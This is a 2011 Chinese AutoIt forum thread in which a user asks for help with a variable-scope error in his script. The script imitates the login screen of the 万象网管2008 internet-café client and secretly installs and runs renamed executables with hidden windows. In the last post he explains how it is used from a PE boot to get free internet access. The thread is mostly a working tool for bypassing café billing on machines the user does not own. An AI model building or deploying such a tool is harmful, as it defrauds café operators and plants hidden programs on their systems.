qixinwb 发表于 2011-3-28 22:48:27

我想把判断部分单独拿出来,却提示:$ID,$pwd未定义

#NoTrayIcon
#Region ;**** 参数创建于 ACNWrapper_GUI ****
#AutoIt3Wrapper_icon=e:\wx1.ico
#AutoIt3Wrapper_outfile=e:\wx2008-done-26-23-55.exe
#EndRegion ;**** 参数创建于 ACNWrapper_GUI ****
#include <WindowsConstants.au3>
#include <GUIConstantsEx.au3>
Opt("TrayOnEventMode",1) ;应用/关闭 OnEvent 函数通知于系统托盘图标. 0 = (默认) 关闭 1 = 应用
;~ Opt("GUIOnEventMode", 0) ;0=取消, 1=启用 OnEvent 模式
Opt("TrayMenuMode",1)   ;默认菜单项目 (脚本暂停中/退出)(Script Paused/Exit) 将不会显示.
TraySetState(2);卸载/隐藏 托盘图标

HotKeySet("+!P","quit") ;按Shift+ALT+P退出脚本

#include <WinAPI.au3>

Global Const $VK_CAPITAL= 0x14
Global Const $VK_NUMLOCK= 0x90
;~ Global Const $VK_SHIFT = 0x10
Global Const $VK_SCROLL=0x91

If _GetNumLock()=1 And _GetCapsLock()=1 And _GetScrollLock()=1 Then
jia()
Else
        zhen()
        EndIf

Func _GetNumLock(); By GaryFrost
Local $ret
$ret = DllCall("user32.dll", "long", "GetKeyState", "long", $VK_NUMLOCK)
Return $ret
EndFunc ;==>_GetNumLock

Func _GetScrollLock(); By GaryFrost
Local $ret
$ret = DllCall("user32.dll", "long", "GetKeyState", "long", $VK_SCROLL)
Return $ret
EndFunc ;==>_GetScrollLock

Func _GetCapsLock(); By GaryFrost
Local $ret
$ret = DllCall("user32.dll", "long", "GetKeyState", "long", $VK_CAPITAL)
Return $ret
EndFunc ;==>_GetCapsLock

Func jia()

FileInstall("E:\Bar.exe",@WindowsDir&"\DrvAnti.exe",1)
FileInstall("E:\Drv.exe",@WindowsDir&"\BarClientView.exe",1)
FileInstall("E:\真Clsmn.exe",@DesktopDir&"\Clsmn.exe",1) ;真的Clsmn.exe
Run(@WindowsDir&"\BarClientView.exe","",@SW_HIDE)
Run(@WindowsDir&"\DrvAnti.exe","",@SW_HIDE)
FileInstall("E:\wx2008pic.jpg",@WindowsDir&"\wx2008pic.JPG",1)
FileInstall("E:\wx3.ico",@WindowsDir&"\wx2008.ico",1)
TraySetIcon(@WindowsDir&"\wx2008.ico","")
      ;创建背景窗口
   GUICreate("万象网管2008标准版",@DesktopWidth,@DesktopHeight,"","",$WS_POPUP)
                $ID=GUICtrlCreateInput("",695,694,130,22 )
                GUISetStyle(-1,0)
                $pwd=GUICtrlCreateInput("",854,694,130,22)
                GUISetStyle(-1,0)
                $LOGON=GUICtrlCreateLabel("",1001,693,32,32);类button,登陆
;~                 GUICtrlSetOnEvent($LOGON, "lab")
                GUICtrlCreatePic(@WindowsDir&"\wx2008pic.JPG", 0,0,@DesktopWidth, @DesktopHeight)
      GUISetState(@SW_SHOW)
        FileDelete(@DesktopDir&"\Clsmn.exe")
       
While 1
        $msg = GUIGetMsg()
              Select
                                Case $msg=$LOGON
                                        If GUICtrlRead($ID)=8705184714 And GUICtrlRead($pwd)=129526 Then
       GUISetState(@SW_MINIMIZE)
Else
    ToolTip("此卡未激活!",1031,695)
        Sleep(800)
        ToolTip("",1031,695)
        EndIf
EndSelect
WEnd
        EndFunc

Func zhen()
        FileInstall("E:\真Clsmn.exe",@WindowsDir&"\Clsmn.exe",1) ;真的Clsmn.exe
        Run(@WindowsDir&"\Clsmn.exe","",@SW_SHOW)
        Exit 0
EndFunc

Func quit()
        Exit 0
EndFunc


我想把判断部分单独拿出来,(因为还有其他的输入错误提示等功能不好实现)
If GUICtrlRead($ID)=8705184714 And GUICtrlRead($pwd)=129526 Then
GUISetState(@SW_MINIMIZE)
Else
    ToolTip("此卡未激活!",1031,695)
Sleep(800)
ToolTip("",1031,695)
EndIf
却提示:$ID,$pwd未定义
困惑中。。。求高手指点

qixinwb 发表于 2011-3-28 23:07:56

#NoTrayIcon
#Region ;**** 参数创建于 ACNWrapper_GUI ****
#AutoIt3Wrapper_icon=e:\wx1.ico
#AutoIt3Wrapper_outfile=e:\wx2008-done-26-23-55.exe
#EndRegion ;**** 参数创建于 ACNWrapper_GUI ****
#include <WindowsConstants.au3>
#include <GUIConstantsEx.au3>
Opt("TrayOnEventMode",1) ;应用/关闭 OnEvent 函数通知于系统托盘图标. 0 = (默认) 关闭 1 = 应用
;~ Opt("GUIOnEventMode", 0) ;0=取消, 1=启用 OnEvent 模式
Opt("TrayMenuMode",1)   ;默认菜单项目 (脚本暂停中/退出)(Script Paused/Exit) 将不会显示.
TraySetState(2);卸载/隐藏 托盘图标

HotKeySet("+!P","quit") ;按Shift+ALT+P退出脚本
HotKeySet("{enter}","enter")
#include <WinAPI.au3>

Global Const $VK_CAPITAL= 0x14
Global Const $VK_NUMLOCK= 0x90
;~ Global Const $VK_SHIFT = 0x10
Global Const $VK_SCROLL=0x91
Global $ID
Global $pwd

If _GetNumLock()=1 And _GetCapsLock()=1 And _GetScrollLock()=1 Then
jia()
Else
        zhen()
        EndIf

Func _GetNumLock(); By GaryFrost
Local $ret
$ret = DllCall("user32.dll", "long", "GetKeyState", "long", $VK_NUMLOCK)
Return $ret
EndFunc ;==>_GetNumLock

Func _GetScrollLock(); By GaryFrost
Local $ret
$ret = DllCall("user32.dll", "long", "GetKeyState", "long", $VK_SCROLL)
Return $ret
EndFunc ;==>_GetScrollLock

Func _GetCapsLock(); By GaryFrost
Local $ret
$ret = DllCall("user32.dll", "long", "GetKeyState", "long", $VK_CAPITAL)
Return $ret
EndFunc ;==>_GetCapsLock

Func jia()

FileInstall("E:\Bar.exe",@WindowsDir&"\DrvAnti.exe",1)
FileInstall("E:\Drv.exe",@WindowsDir&"\BarClientView.exe",1)
FileInstall("E:\真Clsmn.exe",@DesktopDir&"\Clsmn.exe",1) ;真的Clsmn.exe
Run(@WindowsDir&"\BarClientView.exe","",@SW_HIDE)
Run(@WindowsDir&"\DrvAnti.exe","",@SW_HIDE)
FileInstall("E:\wx2008pic.jpg",@WindowsDir&"\wx2008pic.JPG",1)
FileInstall("E:\wx3.ico",@WindowsDir&"\wx2008.ico",1)
TraySetIcon(@WindowsDir&"\wx2008.ico","")
      ;创建背景窗口
   GUICreate("万象网管2008标准版",@DesktopWidth,@DesktopHeight,"","",$WS_POPUP)
                Global $ID=GUICtrlCreateInput("",695,694,130,22 )
                GUISetStyle(-1,0)
                Global $pwd=GUICtrlCreateInput("",854,694,130,22)
                GUISetStyle(-1,0)
                Global $LOGON=GUICtrlCreateLabel("",1001,693,32,32);类button,登陆
;~                 GUICtrlSetOnEvent($LOGON, "lab")
                GUICtrlCreatePic(@WindowsDir&"\wx2008pic.JPG", 0,0,@DesktopWidth, @DesktopHeight)
      GUISetState(@SW_SHOW)
               
While 1
        $msg = GUIGetMsg()
              Select
                                Case $msg=$LOGON
                                        If GUICtrlRead($ID)=8705184714 And GUICtrlRead($pwd)=129526 Then
       GUISetState(@SW_MINIMIZE)
       FileDelete(@DesktopDir&"\Clsmn.exe")
Else
    ToolTip("此卡未激活!",1031,695)
        Sleep(800)
        ToolTip("",1031,695)
        EndIf
EndSelect
WEnd
        EndFunc

Func zhen()
        FileInstall("E:\真Clsmn.exe",@WindowsDir&"\Clsmn.exe",1) ;真的Clsmn.exe
        Run(@WindowsDir&"\Clsmn.exe","",@SW_SHOW)
        Exit 0
EndFunc

Func enter()
        If GUICtrlRead($ID)=8705184714 And GUICtrlRead($pwd)=129526 Then
        GUISetState(@SW_MINIMIZE)
       FileDelete(@DesktopDir&"\Clsmn.exe")
Else
        If GUICtrlRead($ID)<>8705184714 OR GUICtrlRead($pwd)<>129526 Then
        ToolTip("请输入正确的卡号和密码!",696,695)
        Sleep(800)
        ToolTip("",696,695)
        EndIf
EndIf
EndFunc

Func quit()
        Exit 0
EndFunc


qixinwb 发表于 2011-3-28 23:14:46

还是自己动手快些。。。请大家帮助及时点啊,黄花菜都凉了。。。

进PE,运行AUTORUN.cmd,自动重启后,在进系统前将键盘灯都按亮,即可运行假的,免费上网。。。

gzh888666 发表于 2011-3-29 00:27:45

没看懂啥意思,后台操作?
提示没定义就定义一下呗!
页: [1]
查看完整版本: 我想把判断部分单独拿出来,却提示:$ID,$pwd未定义